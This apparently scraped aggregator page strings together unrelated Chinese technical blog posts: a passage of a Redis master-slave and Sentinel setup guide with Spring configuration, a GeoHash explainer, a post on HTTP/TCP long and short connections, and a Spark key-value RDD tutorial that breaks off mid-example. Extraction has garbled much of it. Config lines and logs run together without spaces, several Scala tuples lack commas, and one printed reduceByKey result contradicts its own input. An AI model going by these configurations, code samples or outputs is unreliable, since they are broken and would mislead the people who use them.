    master_sync_in_progress:0slave_repl_offset:918slave_priority:100slave_read_only:1connected_slaves:0master_repl_offset:0repl_backlog_active:0repl_backlog_size:1048576repl_backlog_first_byte_offset:0repl_backlog_histlen:0

    在master,创建一个key-value:

    192.168.56.101:8887>setaa aa
    OK

    在slave节点

    192.168.56.102:7777>getaa"aa"

    因为默认的设置从节点是不能写只能读的,所以如果要在从节点写东西是报错的,如下:

    192.168.56.102:7777>setaa 2a
    (error) READONLY You can't write against a read only slave.

    这样一来主从模式就好了,如果要有多个从节点,只要改变他们的slaveof的配置就行了。

    当然如果只这样配置,在生产上面是没有多大用处的,因为如果无论master节点还是slave节点挂了,我们都要手动启动来让他继续恢复工作,那么能不能让他自动恢复呢?比如master挂掉了,在slave节点中选一个节点自动更换成master。根据这个需求,redis在2.4之后出现了sentinel,其目的就是监控主从节点的健壮性,然后自动选举master节点下面就来看看如何配置sentinel。

    Redis 的 Sentinel配置

    一、Sentinel介绍

    Sentinel是Redis的高可用性(HA)解决方案,由一个或多个Sentinel实例组成的Sentinel系统可以监视任意多个主服务器,以及这些主服务器属下的所有从服务器,并在被监视的主服务器进行下线状态时,自动将下线主服务器属下的某个从服务器升级为新的主服务器,然后由新的主服务器代替已下线的主服务器继续处理命令请求。Redis提供的sentinel(哨兵)机制,通过sentinel模式启动redis后,自动监控master/slave的运行状态,基本原理是:心跳机制+投票裁决

    • 监控(Monitoring): Sentinel 会不断地检查你的主服务器和从服务器是否运作正常。
    • 提醒(Notification): 当被监控的某个 Redis 服务器出现问题时, Sentinel 可以通过 API 向管理员或者其他应用程序发送通知。
    • 自动故障迁移(Automatic failover): 当一个主服务器不能正常工作时, Sentinel 会开始一次自动故障迁移操作, 它会将失效主服务器的其中一个从服务器升级为新的主服务器, 并让失效主服务器的其他从服务器改为复制新的主服务器; 当客户端试图连接失效的主服务器时, 集群也会向客户端返回新主服务器的地址, 使得集群可以使用新主服务器代替失效服务器

     

    二、Sentinel的主从原理

     

      

    三、Redis Sentinel配置

    这里采用了一个master 一个slave 一个sentinel

    master 的redis.conf配置,找到下面的并修改:

    port8887bind192.168.56.101

    slave 的redis.conf配置,找到下面的并修改,如果master节点设置了密码,下面红色部分要加上

    port7777bind192.168.56.102slaveof192.168.56.1018887

    masterauth master的密码

    sentinel的sentinel.conf 配置

    port9999protected-mode yes
    bind192.168.56.101dir/tmp
    sentinel monitor mymaster192.168.56.10188871sentinel down-after-milliseconds mymaster5000sentinel parallel-syncs mymaster1sentinel failover-timeout mymaster15000

    tips:

    如果停掉master 后,sentinel 显示足够数量的 sdown 后,没有出现odown或try-failover,则检查密码等配置是否正确

    如果停掉master后,试图切换的时候出现failover-abort-not-elected 

    1)如果redis实例没有配置
    protected-mode yes
    bind 192.168.56.101
    则在sentinel 配置文件加上
    protected-mode no 
    2)如果redis实例有配置
    protected-mode yes
    bind 192.168.56.101
    则在sentinel 配置文件加上
    protected-mode yes
    bind 192.168.56.101

    上面的配置都弄好之后,分别启动master、slave、sentinel(前面2个是redis-service 启动,后面是redis-sentinel)服务,然后我们可以redis-cli查看对于的info信息(跟上面主从操作是一样的)

    master节点

    [root@localhost8887]# ./redis-cli -h192.168.56.101-p8887192.168.56.101:8887>info
    ……
    # Replication
    role:master
    connected_slaves:1slave0:ip=192.168.56.102,port=7777,state=online,offset=6503,lag=1master_repl_offset:6647repl_backlog_active:1repl_backlog_size:1048576repl_backlog_first_byte_offset:2repl_backlog_histlen:6646……

    slave节点

    [root@localhost7777]# ./redis-cli -h192.168.56.102-p7777192.168.56.102:7777>info
    ……
    # Replication
    role:slave
    master_host:192.168.56.101master_port:8887master_link_status:up
    master_last_io_seconds_ago:10master_sync_in_progress:0slave_repl_offset:918slave_priority:100slave_read_only:1connected_slaves:0master_repl_offset:0repl_backlog_active:0repl_backlog_size:1048576repl_backlog_first_byte_offset:0repl_backlog_histlen:0……

    sentinel节点信息

    [root@localhost8887]# ./redis-cli -h192.168.56.101-p9999192.168.56.101:9999>info 
    ……
    # Sentinel
    sentinel_masters:1sentinel_tilt:0sentinel_running_scripts:0sentinel_scripts_queue_length:0sentinel_simulate_failure_flags:0master0:name=mymaster,status=ok,address=192.168.56.101:8887,slaves=1,sentinels=1……

    下面我们把master节点给干掉,

    192.168.56.101:8887>SHUTDOWN
    not connected>

    这个时候,在sentinel界面会输出下面的信息:

    4338:X05Jun14:57:27.313# +sdown master mymaster192.168.56.10188874338:X05Jun14:57:27.313# +odown master mymaster192.168.56.1018887#quorum1/14338:X05Jun14:57:27.313# +new-epoch174338:X05Jun14:57:27.313# +try-failover master mymaster192.168.56.10188874338:X05Jun14:57:27.317# +vote-for-leader 9354edabc95f19b3d99991f0877d0e66ada04e5b174338:X05Jun14:57:27.317# +elected-leader master mymaster192.168.56.10188874338:X05Jun14:57:27.317# +failover-state-select-slave master mymaster192.168.56.10188874338:X05Jun14:57:27.384# +selected-slave slave192.168.56.102:7777192.168.56.1027777@ mymaster192.168.56.10188874338:X05Jun14:57:27.384* +failover-state-send-slaveof-noone slave192.168.56.102:7777192.168.56.1027777@ mymaster192.168.56.10188874338:X05Jun14:57:27.450* +failover-state-wait-promotion slave192.168.56.102:7777192.168.56.1027777@ mymaster192.168.56.10188874338:X05Jun14:57:28.255# +promoted-slave slave192.168.56.102:7777192.168.56.1027777@ mymaster192.168.56.10188874338:X05Jun14:57:28.255# +failover-state-reconf-slaves master mymaster192.168.56.10188874338:X05Jun14:57:28.317# +failover-end master mymaster192.168.56.10188874338:X05Jun14:57:28.317# +switch-master mymaster192.168.56.1018887192.168.56.10277774338:X05Jun14:57:28.318* +slave slave192.168.56.101:8887192.168.56.1018887@ mymaster192.168.56.1027777

    现在我们在查看以前的slave节点:

    192.168.56.102:7777>info
    ……
    # Replication
    role:master
    connected_slaves:0master_repl_offset:0repl_backlog_active:0repl_backlog_size:1048576repl_backlog_first_byte_offset:0repl_backlog_histlen:0……

    这个时候以前的slave变成了master,所以现在没有从节点了,所以 connected_slaves:0 ,下面我们把干掉的192.168.56.101 8887服务给启用,然后在查看现在的master,

    192.168.56.102:7777>info
    ……
    # Replication
    role:master
    connected_slaves:1slave0:ip=192.168.56.101,port=8887,state=online,offset=1334,lag=0master_repl_offset:1334repl_backlog_active:1repl_backlog_size:1048576repl_backlog_first_byte_offset:2repl_backlog_histlen:1333……

    这个时候可以看到,多出了一个slave,即以前的master变成了从节点,我们再看以前的master节点信息:

    192.168.56.101:8887>info
    ……
    # Replication
    role:slave
    master_host:192.168.56.102master_port:7777master_link_status:up
    master_last_io_seconds_ago:2master_sync_in_progress:0slave_repl_offset:7364slave_priority:100slave_read_only:1connected_slaves:0master_repl_offset:0repl_backlog_active:0repl_backlog_size:1048576repl_backlog_first_byte_offset:0repl_backlog_histlen:0……

    上面就是sentinel自动的对redis的主从切换的配置,以及信息的变化,下面来看在Spring中如何配置。

    四、Spring中 Sentinel配置

    pom.xml文件中添加依赖包

    <!--redis 支持java的语言--><dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><version>2.9.0</version></dependency><!--spring data redis--><dependency><groupId>org.springframework.data</groupId><artifactId>spring-data-redis</artifactId><version>1.8.1.RELEASE</version></dependency>

    spring-redis.xml的配置:

    1<!--redis哨兵-->2<beanid="redisSentinelConfiguration"3class="org.springframework.data.redis.connection.RedisSentinelConfiguration">4<propertyname="master">5<beanclass="org.springframework.data.redis.connection.RedisNode">6<propertyname="name"value="mymaster"/>7</bean>8</property>9<propertyname="sentinels">10<set>11<beanclass="org.springframework.data.redis.connection.RedisNode">12<constructor-argname="host"value="192.168.56.101"/>13<constructor-argname="port"value="9999"/>14</bean>15</set>16</property>17</bean>1819<beanid="jedisConnFactory"20class="org.springframework.data.redis.connection.jedis.JedisConnectionFactory">21<!--<property name="hostName" value="${redis.host}"/>-->22<!--<property name="port" value="${redis.port}"/>-->23<!--<property name="password" value="${redis.password}"/>-->24<!--<property name="usePool" value="false"/>-->25<!--<property name="poolConfig" ref="poolConfig"/>-->26<constructor-argname="sentinelConfig"ref="redisSentinelConfiguration"/>27</bean>2829<beanid="stringRedisTemplate"class="org.springframework.data.redis.core.StringRedisTemplate">30<propertyname="connectionFactory"ref="jedisConnFactory"/>31</bean>

    tips:

    第25行如果我们不配poolConfig的话,也不要把第24行的usePool改成false,如果把usePool改成false,那么上面的哨兵配置好像就无效了。

     

    Sentinel模式下的几个事件

    • +reset-master :主服务器已被重置。
    • +slave :一个新的从服务器已经被 Sentinel 识别并关联。
    • +failover-state-reconf-slaves :故障转移状态切换到了 reconf-slaves 状态。
    • +failover-detected :另一个 Sentinel 开始了一次故障转移操作,或者一个从服务器转换成了主服务器。
    • +slave-reconf-sent :领头(leader)的 Sentinel 向实例发送了 [SLAVEOF](/commands/slaveof.html) 命令,为实例设置新的主服务器。
    • +slave-reconf-inprog :实例正在将自己设置为指定主服务器的从服务器,但相应的同步过程仍未完成。
    • +slave-reconf-done :从服务器已经成功完成对新主服务器的同步。
    • -dup-sentinel :对给定主服务器进行监视的一个或多个 Sentinel 已经因为重复出现而被移除 —— 当 Sentinel 实例重启的时候,就会出现这种情况。
    • +sentinel :一个监视给定主服务器的新 Sentinel 已经被识别并添加。
    • +sdown :给定的实例现在处于主观下线状态。
    • -sdown :给定的实例已经不再处于主观下线状态。
    • +odown :给定的实例现在处于客观下线状态。
    • -odown :给定的实例已经不再处于客观下线状态。
    • +new-epoch :当前的纪元(epoch)已经被更新。
    • +try-failover :一个新的故障迁移操作正在执行中,等待被大多数 Sentinel 选中(waiting to be elected by the majority)。
    • +elected-leader :赢得指定纪元的选举,可以进行故障迁移操作了。
    • +failover-state-select-slave :故障转移操作现在处于 select-slave 状态 —— Sentinel 正在寻找可以升级为主服务器的从服务器。
    • no-good-slave :Sentinel 操作未能找到适合进行升级的从服务器。Sentinel 会在一段时间之后再次尝试寻找合适的从服务器来进行升级,又或者直接放弃执行故障转移操作。
    • selected-slave :Sentinel 顺利找到适合进行升级的从服务器。
    • failover-state-send-slaveof-noone :Sentinel 正在将指定的从服务器升级为主服务器,等待升级功能完成。
    • failover-end-for-timeout :故障转移因为超时而中止,不过最终所有从服务器都会开始复制新的主服务器(slaves will eventually be configured to replicate with the new master anyway)。
    • failover-end :故障转移操作顺利完成。所有从服务器都开始复制新的主服务器了。
    • +switch-master :配置变更,主服务器的 IP 和地址已经改变。 这是绝大多数外部用户都关心的信息。
    • +tilt :进入 tilt 模式。
    • -tilt :退出 tilt 模式。

     

    以上就是redis的主从及哨兵的配置,如果有错,谢谢指出。

    参考:http://wosyingjun.iteye.com/blog/2289593

       http://www.cnblogs.com/yjmyzz/p/redis-sentinel-sample.html

            http://blog.csdn.net/yypzye/article/details/52281282

     

    本实项目下载:https://github.com/eoooxy/anhoo

     

    GeoHash核心原理解析 - zhanlijun - 博客园

    $
    0
    0

    http://www.cnblogs.com/LBSer/p/3310455.html

    引子

      机机是个好动又好学的孩子,平日里就喜欢拿着手机地图点点按按来查询一些好玩的东西。某一天机机到北海公园游玩,肚肚饿了,于是乎打开手机地图,搜索北海公园附近的餐馆,并选了其中一家用餐。

     

      饭饱之后机机开始反思了,地图后台如何根据自己所在位置查询来查询附近餐馆的呢?苦思冥想了半天,机机想出了个方法:计算所在位置P与北京所有餐馆的距离,然后返回距离<=1000米的餐馆。小得意了一会儿,机机发现北京的餐馆何其多啊,这样计算不得了,于是想了,既然知道经纬度了,那它应该知道自己在西城区,那应该计算所在位置P与西城区所有餐馆的距离啊,机机运用了递归的思想,想到了西城区也很多餐馆啊,应该计算所在位置P与所在街道所有餐馆的距离,这样计算量又小了,效率也提升了。

      机机的计算思想很朴素,就是通过过滤的方法来减小参与计算的餐馆数目,从某种角度上讲,机机在使用索引技术。

      一提到索引,大家脑子里马上浮现出B树索引,因为大量的数据库(如MySQL、oracle、PostgreSQL等)都在使用B树。B树索引本质上是对索引字段进行排序,然后通过类似二分查找的方法进行快速查找,即它要求索引的字段是可排序的,一般而言,可排序的是一维字段,比如时间、年龄、薪水等等。但是对于空间上的一个点(二维,包括经度和纬度),如何排序呢?又如何索引呢?解决的方法很多,下文介绍一种方法来解决这一问题。

      思想:如果能通过某种方法将二维的点数据转换成一维的数据,那样不就可以继续使用B树索引了嘛。那这种方法真的存在嘛,答案是肯定的。目前很火的GeoHash算法就是运用了上述思想,下面我们就开始GeoHash之旅吧。

    一、感性认识GeoHash

    首先来点感性认识,http://openlocation.org/geohash/geohash-js/提供了在地图上显示geohash编码的功能。

    1)GeoHash将二维的经纬度转换成字符串,比如下图展示了北京9个区域的GeoHash字符串,分别是WX4ER,WX4G2、WX4G3等等,每一个字符串代表了某一矩形区域。也就是说,这个矩形区域内所有的点(经纬度坐标)都共享相同的GeoHash字符串,这样既可以保护隐私(只表示大概区域位置而不是具体的点),又比较容易做缓存,比如左上角这个区域内的用户不断发送位置信息请求餐馆数据,由于这些用户的GeoHash字符串都是WX4ER,所以可以把WX4ER当作key,把该区域的餐馆信息当作value来进行缓存,而如果不使用GeoHash的话,由于区域内的用户传来的经纬度是各不相同的,很难做缓存。

     

    2)字符串越长,表示的范围越精确。如图所示,5位的编码能表示10平方千米范围的矩形区域,而6位编码能表示更精细的区域(约0.34平方千米)

     

    3)字符串相似的表示距离相近(特殊情况后文阐述),这样可以利用字符串的前缀匹配来查询附近的POI信息。如下两个图所示,一个在城区,一个在郊区,城区的GeoHash字符串之间比较相似,郊区的字符串之间也比较相似,而城区和郊区的GeoHash字符串相似程度要低些。

     

     

    城区

     

    郊区

       通过上面的介绍我们知道了GeoHash就是一种将经纬度转换成字符串的方法,并且使得在大部分情况下,字符串前缀匹配越多的距离越近,回到我们的案例,根据所在位置查询来查询附近餐馆时,只需要将所在位置经纬度转换成GeoHash字符串,并与各个餐馆的GeoHash字符串进行前缀匹配,匹配越多的距离越近。

    二、GeoHash算法的步骤

    下面以北海公园为例介绍GeoHash算法的计算步骤

     

    2.1. 根据经纬度计算GeoHash二进制编码

    地球纬度区间是[-90,90], 北海公园的纬度是39.928167,可以通过下面算法对纬度39.928167进行逼近编码:

    1)区间[-90,90]进行二分为[-90,0),[0,90],称为左右区间,可以确定39.928167属于右区间[0,90],给标记为1;

    2)接着将区间[0,90]进行二分为 [0,45),[45,90],可以确定39.928167属于左区间 [0,45),给标记为0;

    3)递归上述过程39.928167总是属于某个区间[a,b]。随着每次迭代区间[a,b]总在缩小,并越来越逼近39.928167;

    4)如果给定的纬度x(39.928167)属于左区间,则记录0,如果属于右区间则记录1,这样随着算法的进行会产生一个序列1011100,序列的长度跟给定的区间划分次数有关。

    根据纬度算编码 

    bit

    min

    mid

    max

    1

    -90.000

    0.000

    90.000

    0

    0.000

    45.000

    90.000

    1

    0.000

    22.500

    45.000

    1

    22.500

    33.750

    45.000

    1

    33.7500

    39.375

    45.000

    0

    39.375

    42.188

    45.000

    0

    39.375

    40.7815

    42.188

    0

    39.375

    40.07825

    40.7815

    1

    39.375

    39.726625

    40.07825

    1

    39.726625

    39.9024375

    40.07825

    同理,地球经度区间是[-180,180],可以对经度116.389550进行编码。

    根据经度算编码

    bit

    min

    mid

    max

    1

    -180

    0.000

    180

    1

    0.000

    90

    180

    0

    90

    135

    180

    1

    90

    112.5

    135

    0

    112.5

    123.75

    135

    0

    112.5

    118.125

    123.75

    1

    112.5

    115.3125

    118.125

    0

    115.3125

    116.71875

    118.125

    1

    115.3125

    116.015625

    116.71875

    1

    116.015625

    116.3671875

    116.71875

     

    2.2. 组码

      通过上述计算,纬度产生的编码为10111 00011,经度产生的编码为11010 01011。偶数位放经度,奇数位放纬度,把2串编码组合生成新串:11100 11101 00100 01111。

      最后使用用0-9、b-z(去掉a, i, l, o)这32个字母进行base32编码,首先将11100 11101 00100 01111转成十进制,对应着28、29、4、15,十进制对应的编码就是wx4g。同理,将编码转换成经纬度的解码算法与之相反,具体不再赘述。

    三、GeoHash Base32编码长度与精度

      下表摘自维基百科:http://en.wikipedia.org/wiki/Geohash

      可以看出,当geohash base32编码长度为8时,精度在19米左右,而当编码长度为9时,精度在2米左右,编码长度需要根据数据情况进行选择。

    三、GeoHash算法

      上文讲了GeoHash的计算步骤,仅仅说明是什么而没有说明为什么?为什么分别给经度和维度编码?为什么需要将经纬度两串编码交叉组合成一串编码?本节试图回答这一问题。

      如图所示,我们将二进制编码的结果填写到空间中,当将空间划分为四块时候,编码的顺序分别是左下角00,左上角01,右下脚10,右上角11,也就是类似于Z的曲线,当我们递归的将各个块分解成更小的子块时,编码的顺序是自相似的(分形),每一个子快也形成Z曲线,这种类型的曲线被称为Peano空间填充曲线。

      这种类型的空间填充曲线的优点是将二维空间转换成一维曲线(事实上是分形维),对大部分而言,编码相似的距离也相近, 但Peano空间填充曲线最大的缺点就是突变性,有些编码相邻但距离却相差很远,比如0111与1000,编码是相邻的,但距离相差很大。

      

      除Peano空间填充曲线外,还有很多空间填充曲线,如图所示,其中效果公认较好是Hilbert空间填充曲线,相较于Peano曲线而言,Hilbert曲线没有较大的突变。为什么GeoHash不选择Hilbert空间填充曲线呢?可能是Peano曲线思路以及计算上比较简单吧,事实上,Peano曲线就是一种四叉树线性编码方式。

     

    四、使用注意点

     1)由于GeoHash是将区域划分为一个个规则矩形,并对每个矩形进行编码,这样在查询附近POI信息时会导致以下问题,比如红色的点是我们的位置,绿色的两个点分别是附近的两个餐馆,但是在查询的时候会发现距离较远餐馆的GeoHash编码与我们一样(因为在同一个GeoHash区域块上),而较近餐馆的GeoHash编码与我们不一致。这个问题往往产生在边界处。

    解决的思路很简单,我们查询时,除了使用定位点的GeoHash编码进行匹配外,还使用周围8个区域的GeoHash编码,这样可以避免这个问题。 

    2)我们已经知道现有的GeoHash算法使用的是Peano空间填充曲线,这种曲线会产生突变,造成了编码虽然相似但距离可能相差很大的问题,因此在查询附近餐馆时候,首先筛选GeoHash编码相似的POI点,然后进行实际距离计算。

          geohash只是空间索引的一种方式,特别适合点数据,而对线、面数据采用R树索引更有优势(可参考:深入浅出空间索引:为什么需要空间索引)。

     

    参考文献:

    http://en.wikipedia.org/wiki/Geohash

    http://openlocation.org/geohash/geohash-js/ 

    Cantor空間填充曲線之演算法探討.pdf

    HTTP长连接和短连接 - WhyWin - 博客园

    $
    0
    0

    1. HTTP协议与TCP/IP协议的关系

      HTTP的长连接和短连接本质上是TCP长连接和短连接。HTTP属于应用层协议,在传输层使用TCP协议,在网络层使用IP协议。IP协议主要解决网络路由和寻址问题,TCP协议主要解决如何在IP层之上可靠的传递数据包,使在网络上的另一端收到发端发出的所有包,并且顺序与发出顺序一致。TCP有可靠,面向连接的特点。

     

    2. 如何理解HTTP协议是无状态的

      HTTP协议是无状态的,指的是协议对于事务处理没有记忆能力,服务器不知道客户端是什么状态。也就是说,打开一个服务器上的网页和你之前打开这个服务器上的网页之间没有任何联系。HTTP是一个无状态的面向连接的协议,无状态不代表HTTP不能保持TCP连接,更不能代表HTTP使用的是UDP协议(无连接)。

     

    3. 什么是长连接、短连接?

      在HTTP/1.0中,默认使用的是短连接。也就是说,浏览器和服务器每进行一次HTTP操作,就建立一次连接,但任务结束就中断连接。如果客户端浏览器访问的某个HTML或其他类型的 Web页中包含有其他的Web资源,如JavaScript文件、图像文件、CSS文件等;当浏览器每遇到这样一个Web资源,就会建立一个HTTP会话。

    但从HTTP/1.1起,默认使用长连接,用以保持连接特性。使用长连接的HTTP协议,会在响应头有加入这行代码:

    Connection:keep-alive

      在使用长连接的情况下,当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的 TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。Keep-Alive不会永久保持连接,它有一个保持时间,可以在不同的服务器软件(如Apache)中设定这个时间。实现长连接要客户端和服务端都支持长连接。

    HTTP协议的长连接和短连接,实质上是TCP协议的长连接和短连接。



    3.1 TCP连接

      当网络通信时采用TCP协议时,在真正的读写操作之前,server与client之间必须建立一个连接,当读写操作完成后,双方不再需要这个连接 时它们可以释放这个连接,连接的建立是需要三次握手的,而释放则需要4次握手,所以说每个连接的建立都是需要资源消耗和时间消耗的

    经典的三次握手示意图:

    经典的四次握手关闭图:

    3.2 TCP短连接

      我们模拟一下TCP短连接的情况,client向server发起连接请求,server接到请求,然后双方建立连接。client向server 发送消息,server回应client,然后一次读写就完成了,这时候双方任何一个都可以发起close操作,不过一般都是client先发起 close操作。为什么呢,一般的server不会回复完client后立即关闭连接的,当然不排除有特殊的情况。从上面的描述看,短连接一般只会在 client/server间传递一次读写操作

    短连接的优点是:管理起来比较简单,存在的连接都是有用的连接,不需要额外的控制手段

    3.3 TCP长连接

      接下来我们再模拟一下长连接的情况,client向server发起连接,server接受client连接,双方建立连接。Client与server完成一次读写之后,它们之间的连接并不会主动关闭,后续的读写操作会继续使用这个连接。

    首先说一下TCP/IP详解上讲到的TCP保活功能,保活功能主要为服务器应用提供,服务器应用希望知道客户主机是否崩溃,从而可以代表客户使用资源。如果客户已经消失,使得服务器上保留一个半开放的连接,而服务器又在等待来自客户端的数据,则服务器将应远等待客户端的数据,保活功能就是试图在服务 器端检测到这种半开放的连接。

    如果一个给定的连接在两小时内没有任何的动作,则服务器就向客户发一个探测报文段,客户主机必须处于以下4个状态之一:

    1. 客户主机依然正常运行,并从服务器可达。客户的TCP响应正常,而服务器也知道对方是正常的,服务器在两小时后将保活定时器复位。
    2. 客户主机已经崩溃,并且关闭或者正在重新启动。在任何一种情况下,客户的TCP都没有响应。服务端将不能收到对探测的响应,并在75秒后超时。服务器总共发送10个这样的探测 ,每个间隔75秒。如果服务器没有收到一个响应,它就认为客户主机已经关闭并终止连接。
    3. 客户主机崩溃并已经重新启动。服务器将收到一个对其保活探测的响应,这个响应是一个复位,使得服务器终止这个连接。
    4. 客户机正常运行,但是服务器不可达,这种情况与2类似,TCP能发现的就是没有收到探查的响应。

     

    3.4长连接短连接操作过程

    短连接的操作步骤是:
    建立连接——数据传输——关闭连接...建立连接——数据传输——关闭连接
    长连接的操作步骤是:
    建立连接——数据传输...(保持连接)...数据传输——关闭连接

     

    4. 长连接和短连接的优点和缺点

      由上可以看出,长连接可以省去较多的TCP建立和关闭的操作,减少浪费,节约时间。对于频繁请求资源的客户来说,较适用长连接。不过这里存在一个问题存活功能的探测周期太长,还有就是它只是探测TCP连接的存活,属于比较斯文的做法,遇到恶意的连接时,保活功能就不够使了。在长连接的应用场景下,client端一般不会主动关闭它们之间的连接,Client与server之间的连接如果一直不关闭的话,会存在一个问题,随着客户端连接越来越多,server早晚有扛不住的时候,这时候server端需要采取一些策略,如关闭一些长时间没有读写事件发生的连接,这样可 以避免一些恶意连接导致server端服务受损;如果条件再允许就可以以客户端机器为颗粒度,限制每个客户端的最大长连接数,这样可以完全避免某个蛋疼的客户端连累后端服务。

    短连接对于服务器来说管理较为简单,存在的连接都是有用的连接,不需要额外的控制手段。但如果客户请求频繁,将在TCP的建立和关闭操作上浪费时间和带宽

    长连接和短连接的产生在于client和server采取的关闭策略,具体的应用场景采用具体的策略,没有十全十美的选择,只有合适的选择。

     

     

    5. 什么时候用长连接,短连接? 

       长连接多用于操作频繁,点对点的通讯,而且连接数不能太多情况,。每个TCP连接都需要三步握手,这需要时间,如果每个操作都是先连接,再操作的话那么处理速度会降低很多,所以每个操作完后都不断开,次处理时直接发送数据包就OK了,不用建立TCP连接。例如:数据库的连接用长连接, 如果用短连接频繁的通信会造成socket错误,而且频繁的socket 创建也是对资源的浪费。 

      

      而像WEB网站的http服务一般都用短链接,因为长连接对于服务端来说会耗费一定的资源,而像WEB网站这么频繁的成千上万甚至上亿客户端的连接用短连接会更省一些资源,如果用长连接,而且同时有成千上万的用户,如果每个用户都占用一个连接的话,那可想而知吧。所以并发量大,但每个用户无需频繁操作情况下需用短连好。

    Spark常用函数讲解之键值RDD转换 - MOBIN - 博客园

    $
    0
    0
    摘要:

    RDD:弹性分布式数据集,是一种特殊集合 ‚ 支持多种来源 ‚ 有容错机制 ‚ 可以被缓存 ‚ 支持并行操作,一个RDD代表一个分区里的数据集
    RDD有两种操作算子:

            Transformation(转换):Transformation属于延迟计算,当一个RDD转换成另一个RDD时并没有立即进行转换,仅仅是记住       了数据集的逻辑操作
             Ation(执行):触发Spark作业的运行,真正触发转换算子的计算
     
    本系列主要讲解Spark中常用的函数操作:
             1.RDD基本转换
             2.键-值RDD转换
             3.Action操作篇
     
    本节所讲函数
     
    1.mapValus(fun):对[K,V]型数据中的V值map操作
    (例1):对每个的的年龄加2
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    object MapValues {
      def main(args: Array[String]) {
        val conf = new SparkConf().setMaster("local").setAppName("map")
        val sc = new SparkContext(conf)
        val list = List(("mobin",22),("kpop",20),("lufei",23))
        val rdd = sc.parallelize(list)
        val mapValuesRDD = rdd.mapValues(_+2)
        mapValuesRDD.foreach(println)
      }
    }
    输出:
    (mobin,24)
    (kpop,22)
    (lufei,25)
    (RDD依赖图:红色块表示一个RDD区,黑色块表示该分区集合,下同)
     
     
    2.flatMapValues(fun):对[K,V]型数据中的V值flatmap操作
    (例2):
    1
    2
    3
    4
    //省略<br>val list = List(("mobin",22),("kpop",20),("lufei",23))
    val rdd = sc.parallelize(list)
    val mapValuesRDD = rdd.flatMapValues(x => Seq(x,"male"))
    mapValuesRDD.foreach(println)
    输出:
    (mobin,22)
    (mobin,male)
    (kpop,20)
    (kpop,male)
    (lufei,23)
    (lufei,male)
    如果是mapValues会输出:
    (mobin,List(22, male))
    (kpop,List(20, male))
    (lufei,List(23, male))
    (RDD依赖图)
     
     
    3.comineByKey(createCombiner,mergeValue,mergeCombiners,partitioner,mapSideCombine)
     
       comineByKey(createCombiner,mergeValue,mergeCombiners,numPartitions)
     
       comineByKey(createCombiner,mergeValue,mergeCombiners)
     
    createCombiner:在第一次遇到Key时创建组合器函数,将RDD数据集中的V类型值转换C类型值(V => C),
    如例3:
    mergeValue合并值函数,再次遇到相同的Key时,将createCombiner道理的C类型值与这次传入的V类型值合并成一个C类型值(C,V)=>C,
    如例3:
    mergeCombiners:合并组合器函数,将C类型值两两合并成一个C类型值
    如例3:
     
    partitioner:使用已有的或自定义的分区函数,默认是HashPartitioner
     
    mapSideCombine:是否在map端进行Combine操作,默认为true
     
    注意前三个函数的参数类型要对应;第一次遇到Key时调用createCombiner,再次遇到相同的Key时调用mergeValue合并值
     
    (例3):统计男性和女生的个数,并以(性别,(名字,名字....),个数)的形式输出
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    object CombineByKey {
      def main(args: Array[String]) {
        val conf = new SparkConf().setMaster("local").setAppName("combinByKey")
        val sc = new SparkContext(conf)
        val people = List(("male""Mobin"), ("male""Kpop"), ("female""Lucy"), ("male""Lufei"), ("female""Amy"))
        val rdd = sc.parallelize(people)
        val combinByKeyRDD = rdd.combineByKey(
          (x: String) => (List(x), 1),
          (peo: (List[String], Int), x : String) => (x :: peo._1, peo._2 + 1),
          (sex1: (List[String], Int), sex2: (List[String], Int)) => (sex1._1 ::: sex2._1, sex1._2 + sex2._2))
        combinByKeyRDD.foreach(println)
        sc.stop()
      }
    }
    输出:
    (male,(List(Lufei, Kpop, Mobin),3))
    (female,(List(Amy, Lucy),2))
    过程分解:
    复制代码
    Partition1:
    K="male"  -->  ("male","Mobin")  --> createCombiner("Mobin") =>  peo1 = (  List("Mobin") , 1 )
    K="male"  -->  ("male","Kpop")  --> mergeValue(peo1,"Kpop") =>  peo2 = (  "Kpop"  ::  peo1_1 , 1 + 1 )    //Key相同调用mergeValue函数对值进行合并
    K="female"  -->  ("female","Lucy")  --> createCombiner("Lucy") =>  peo3 = (  List("Lucy") , 1 )
    Partition2:
    K="male"  -->  ("male","Lufei")  --> createCombiner("Lufei") =>  peo4 = (  List("Lufei") , 1 )
    K="female"  -->  ("female","Amy")  --> createCombiner("Amy") =>  peo5 = (  List("Amy") , 1 )
    Merger Partition:
    K="male" --> mergeCombiners(peo2,peo4) => (List(Lufei,Kpop,Mobin))
    K="female" --> mergeCombiners(peo3,peo5) => (List(Amy,Lucy))
    复制代码
    (RDD依赖图)
     
    4.foldByKey(zeroValue)(func)
     
      foldByKey(zeroValue,partitioner)(func)
     
      foldByKey(zeroValue,numPartitiones)(func)
     
    foldByKey函数是通过调用CombineByKey函数实现的
     
    zeroVale:对V进行初始化,实际上是通过CombineByKey的createCombiner实现的  V =>  (zeroValue,V),再通过func函数映射成新的值,即func(zeroValue,V),如例4可看作对每个V先进行  V=> 2 + V  
     
    func: Value将通过func函数按Key值进行合并(实际上是通过CombineByKey的mergeValue,mergeCombiners函数实现的,只不过在这里,这两个函数是相同的)
    例4:
    1
    2
    3
    4
    5
    //省略
        val people = List(("Mobin"2), ("Mobin"1), ("Lucy"2), ("Amy"1), ("Lucy"3))
        val rdd = sc.parallelize(people)
        val foldByKeyRDD = rdd.foldByKey(2)(_+_)
        foldByKeyRDD.foreach(println)
    输出:
    (Amy,2)
    (Mobin,4)
    (Lucy,6)
    先对每个V都加2,再对相同Key的value值相加。
     
     
    5.reduceByKey(func,numPartitions):按Key进行分组,使用给定的func函数聚合value值, numPartitions设置分区数,提高作业并行度
    例5
    1
    2
    3
    4
    5
    6
    //省略
    val arr = List(("A",3),("A",2),("B",1),("B",3))
    val rdd = sc.parallelize(arr)
    val reduceByKeyRDD = rdd.reduceByKey(_ +_)
    reduceByKeyRDD.foreach(println)
    sc.stop
    输出:
    (A,5)
    (A,4)
    (RDD依赖图)
     
    6.groupByKey(numPartitions):按Key进行分组,返回[K,Iterable[V]],numPartitions设置分区数,提高作业并行度
    例6:
    1
    2
    3
    4
    5
    6
    //省略
    val arr = List(("A",1),("B",2),("A",2),("B",3))
    val rdd = sc.parallelize(arr)
    val groupByKeyRDD = rdd.groupByKey()
